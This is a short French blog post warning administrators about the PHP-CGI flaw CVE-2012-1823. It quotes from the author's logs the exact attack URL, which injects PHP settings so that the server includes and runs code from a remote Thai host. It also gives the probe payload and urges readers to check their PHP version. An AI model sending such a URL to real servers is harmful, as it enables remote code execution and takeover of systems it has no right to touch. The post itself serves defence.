Grosse faille PHP : Vérifiez vos serveurs dès maintenant

Une importante faille PHP semble occuper de nombreux robots et script kiddies.
Cette faille permet d'exécuter du code PHP à distance et de prendre la main sur un serveur Web très facilement. Voici l'URL que l'attaquant utilise pour détecter si votre serveur est vulnérable :

http://www.monserveur.com/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt

Cette URL est sollicité de nombreuses fois par jour sur mon serveur, je pense que de nombreux serveurs ont été infectés ;-(

En cas de vulnérabilité de votre serveur, l'appel de cette URL permet d'exécuter sur votre serveur du code PHP provenant d'un serveur Thailandais : http://61.19.253.26/echo.txt

<?php echo "dsfer34w5rlsidfosdedfpsd"; ?>

La faille a été découverte mi-mai touche heureusement que les serveurs avec PHP fonctionnant en mode CGI ou l'exécutable PHP est exécuté lors de la requête HTTP. Les serveurs utilisant des pool de CGI PHP de type Fast-cgi ou le mod_php classique d'Apache sont épargnés à ce type d'attaque.

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.

http://www.cvedetails.com/cve/CVE-2012-1823

Je vous invite à vérifier dès maintenant la version de votre installation PHP ;-)

---